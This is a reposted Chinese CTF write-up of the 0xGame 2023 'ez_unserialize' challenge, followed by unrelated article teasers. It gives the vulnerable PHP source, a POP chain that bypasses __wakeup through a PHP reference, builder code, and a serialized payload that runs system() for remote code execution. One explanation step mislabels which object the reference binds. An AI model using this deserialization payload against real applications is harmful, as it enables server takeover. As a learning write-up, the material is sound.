记录一道0xGame 2023 CTF Web ez_unserialize的反序列化漏洞题目收获

news2024/12/22 23:37:41

ez_unserialize

考点:

1. PHP 的引用来绕过 __wakeup

2.命令行中执行php -r 'phpinfo();',即可获得完整的phpinfo输出 

3.PHP 反序列化 POP 链的构造

源码和代码审计:

 <?php

show_source(__FILE__);

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() { //强行把expired设置False,之前碰到都是利用修改属性个数绕过,但师傅提示需通过引用绕过
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) { //如果expired为True
            $this->helper->clean($this->key);//clean?好像是一个不存在的方法,通过这个调用__call
            return True; //返回True
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();//将一个空数组赋值给store
    }
    
    public function __set($name, $value) {//给不可访问属性赋值时被调用
        if (!$this->store) 
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;//system函数
    }

    public function __call($name, $args) { //链子的尾,通过这个执行命令
        $this->funcs[$name](...$args);  //system('ls')等?
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {  //链子的头
        foreach ($this->data as $key => $value) {//遍历data数组,键key值value
            $this->storage->$key = $value;//将storage对象的$key属性赋值为$value,注意此时可以去触发Storage的__set方法.(给不可访问的属性赋值)
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);//反序列化
}
?> 
    

POP链: 

DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()
 

 构造代码:

<?php
class Cache{
    public $key;
    public$value;
    public$expired;
    public$helper;
}
class Storage{
    public $store;
}
class Helper{
    public$funcs;
}
class DataObject{
    public$storage;
    public$data;
}
$helper=new Helper();
$helper->funcs=array('clean'=>'system');
$cache1=new Cache();
$cache1->expired=False;
$cache2=new Cache();
$cache2->helper=$helper;
$cache2->key='php -r "phpinfo();"';
$storage=new Storage();
$storage->store=&$cache2->expired;
$dataObject=new DataObject();
$dataObject->data=array('key1'=>$cache1,'key2'=>$cache2);
$dataObject->storage=$storage;
echo serialize($dataObject);
?>

解析:

  1. ⾸先我们往 dataObject 的 data ⾥⾯放⼊了两个 Cache 实例: cache1 和 cache2
  2. 其中 cache2 指定了 helper, 其 key 设置成了要执⾏的命令 php -r 'phpinfo();' , helper 的 funcs 数组放⼊了 system 字符串
  3. 然后我们让 storage 的 store 属性成为 cache2 expired 属性的引⽤
  4. 这样, 在反序列化时, ⾸先会调⽤两个 Cache 的 __wakeup ⽅法, 将各⾃的 expired 设置为 False
  5. 然后调⽤ dataObject 的 __destruct ⽅法, 从⽽调⽤ Storage 的 __set ⽅法
  6. Storage ⾸先将 store (即 cache1 的 expired 属性) 初始化为⼀个空数组, 然后存⼊ cache1
  7. 此时, store 不为空, 那么也就是说 cache1 的 expired 属性不为空
  8. 然后来到 cache2, storage 的 __set ⽅法调⽤它的 expired ⽅法, 进⼊ if 判断
  9. 因为此时 cache2 的 expired 字段, 也就是上⾯的 store, 已经被设置成了⼀个数组, 并且数组中存在 cache1 (不为空), 因此这⾥ if 表达式的结果为 True
  10. 最后进⼊ helper 的 clean ⽅法, 执⾏ system('php -r 'phpinfo();''); 实现 RCE

paylaod:

?u=O:10:"DataObject":2:{s:7:"storage";O:7:"Storage":1:{s:5:"store";N;}s:4:"data";a:2:{s:4:"key1";O:5:"Cache":4:{s:3:"key";N;s:5:"value";N;s:7:"expired";b:0;s:6:"helper";N;}s:4:"key2";O:5:"Cache":4:{s:3:"key";s:19:"php -r "phpinfo();"";s:5:"value";N;s:7:"expired";R:3;s:6:"helper";O:6:"Helper":1:{s:5:"funcs";a:1:{s:5:"clean";s:6:"system";}}}}}

flag :

总结: 

考点就是总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1151124.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高等数学教材重难点题型总结(八)向量代数与空间解析几何

同期更新配套的课后题&#xff0c;这部分的题普遍容易&#xff0c;仅对计算能力有一定要求&#xff0c;理解层面没有什么难度。中学立体几何和解析几何掌握不错的同志&#xff0c;这部分只要稍加记忆是没有什么难度的。

Python语言: 切片的使用

切片的本质&#xff1a;通过切片来截取指定的元素&#xff0c;形成一个新的容器。 切片的具体阐释&#xff1a; 此切片非切片面包的切片&#xff0c;而是python语言中的切片。切片&#xff1a;顾名思义&#xff0c;就是把整块的东西分割开来。python语言中的切片是把一个容器截…

论文阅读 - DCGNN: Dual-Channel Graph Neural Network for Social Bot Detection

论文链接&#xff1a; https://dl.acm.org/doi/pdf/10.1145/3583780.3615237 摘要 由于社交机器人检测对信息传播的深远影响&#xff0c;其重要性已得到越来越多的认识。现有的方法可以分为特征工程和基于深度学习的方法&#xff0c;它们主要关注静态特征&#xff0c;例如帖子…

gitee上传项目

目录 首先在gitee新建一个仓库 接下来创建好项目&#xff0c;先找到生成公钥SSH的目录 接下来是生成公钥SSH 仓库创建好后&#xff0c;接着开始链接项目 首先在gitee新建一个仓库 接下来创建好项目&#xff0c;先找到生成公钥SSH的目录 接下来是找目录&#xff1a;C盘&a…

学习鸟哥Linux shell 时遇到的unexpected operator错误

最近在学习鸟哥Linux&#xff0c;其中一个章节讲解了Linux shell script使用语法&#xff0c;运行总是错误&#xff0c;源码如下&#xff1a; #!/bin/bashread -p "Please input &#xff08;Y/N&#xff09;: " yn[ "${yn}" "Y" -o "${y…

这么理解矩阵乘法,让你吊打面试官

大家好啊&#xff0c;我是董董灿。 很多与深度学习算法相关的面试&#xff0c;面试官可能都会问一个问题&#xff0c;那就是你是如何理解矩阵乘算法的。 更有甚者&#xff0c;会让你当场手写矩阵乘算法&#xff0c;然后问细节&#xff0c;问如何优化&#xff0c;面试现场&…

用大白话聊聊SpringBoot的自动配置原理(面试题详解)

首先&#xff0c;SpringBoot的自动配置不等于自动装配&#xff01; 自动配置是Auto-Configuration&#xff0c;针对的是SpringBoot中的配置类&#xff0c; 而自动装配是Autowire&#xff0c;针对的是Spring中的依赖注入。 进入主题&#xff1a; 自动配置简单来说就是自动去把…

告诉你一个真实的短视频自媒体收入

我是卢松松&#xff0c;点点上面的头像&#xff0c;欢迎关注我哦&#xff01; 10个月前我分享了《这一年半我在短视频的收入》都是真实的&#xff0c;最近我看到有人在分享卢松松做短视频的收入&#xff0c;玩视频又被赋予了很多内容&#xff0c;我这说明下也是一些小感悟分享…

故障诊断模型 | Maltab实现CNN卷积神经网络故障诊断

文章目录 效果一览文章概述模型描述源码设计参考资料效果一览 文章概述 故障诊断模型 | Maltab实现CNN卷积神经网络故障诊断 模型描述 卷积神经网络(convolutional neural network)是具有局部连接、权重共享等特性的深层前馈神经网络,最早主要是用来处理图像信息。 相比于全…

电路的电线的拼接

不积跬步无以至千里&#xff0c;今天小编也是复习今天学习的内容&#xff0c;废话不多说&#xff0c;看博客吧&#xff01;&#xff01;&#xff01; 目录 准备条件 操作 成品 准备条件 操作 将定制的套管插入导线当中&#xff0c;24V或者0V是尖端的端子&#xff0c;后面根…

【排序算法】 归并排序详解!深入理解!思想+实现!

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; 算法—排序篇 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f4d1;前言&#x1f324;️归并排序的思想☁️基本思想☁️归并的思想实现☁️分治法 &#x1f3…

H5游戏源码分享-跳得更高

H5游戏源码分享-跳得更高 控制跳动踩到云朵上 <!DOCTYPE html> <html> <head><meta http-equiv"Content-Type" content"text/html; charsetUTF-8"><meta http-equiv"Content-Type" content"text/html;"&g…

利用ChatGPT进行股票走势分析

文章目录 1. 股票分析2. 技巧分析3. 分析技巧21. 股票分析 这张图片显示了一个股票交易软件的界面。以下是根据图片内容的一些解读: 股票代码: 图片右上角显示的代码是“600517”,这是股票的代码。 图形解读: 该图展示了股票的日K线图。其中,蜡烛图表示每日的开盘、收盘、最…

Rest风格基本语法与实战

1&#xff0c;前置知识点 1.1 GetMapping&#xff0c;PostMapping&#xff0c;PutMapping&#xff0c;DeleteMapping 平时我们都是使用RequestMapping&#xff0c;然后通过它的method属性来指定请求的方式&#xff0c;这样是有些麻烦的&#xff0c;然后这四个标签就是来简化这…

Day 16 python学习笔记

静态方法 静态方法&#xff0c;只需要在方法前添加 staticmethod&#xff0c; 方法就可以不写形参self&#xff0c;可以通过实例对象.方法名调用&#xff0c;也可以通过类名.方法名调用 例&#xff1a; class Test:staticmethoddef test1():print("你好")def nums(se…

异步 AIMD 收敛

给出的一直都是同步 AIMD 收敛&#xff0c;所以简单&#xff0c;但不至于 bbr 单流情形退化成简陋。 给出一个异步 AIMD 收敛过程是必要的&#xff0c;可见&#xff0c;它同样是简洁优美的&#xff1a; 虽然我没有标注太多&#xff0c;它始终没有成为一团乱麻。 和同步 AIM…

Linux tar打包命令

Linux 系统中&#xff0c;最常用的归档&#xff08;打包&#xff09;命令就是 tar&#xff0c;该命令可以将许多文件一起保存到一个单独的磁带或磁盘中进行归档。不仅如此&#xff0c;该命令还可以从归档文件中还原所需文件&#xff0c;也就是打包的反过程&#xff0c;称为解打…

随机链表的复制(Java详解)

一、题目描述 给你一个长度为 n 的链表&#xff0c;每个节点包含一个额外增加的随机指针 random &#xff0c;该指针可以指向链表中的任何节点或空节点。 构造这个链表的 深拷贝。 深拷贝应该正好由 n 个 全新 节点组成&#xff0c;其中每个新节点的值都设为其对应的原节点的…

英语——分享篇——常用人物身份

常用人物身份 家庭成员类 father 父亲 mother 母亲 grandmother&#xff08;外&#xff09;祖母 grandfather&#xff08;外&#xff09;祖父 son 儿子 daughter 女儿 uncle 叔叔&#xff0c;舅舅 aunt 婶母&#xff0c;舅母 brother 兄弟 sister 姐妹 nephew 侄子 niece…

Centos7下生成https自签名证书

1、安装openssl yum install openssl2、生成带密码的私有秘钥文件 openssl genrsa -des3 -out server.key 2048使用带密码的私有秘钥文件时需要输入密码&#xff0c;这里直接输入&#xff1a;123456 3、生成不带密码的私有秘钥文件 openssl rsa -in server.key -out serve…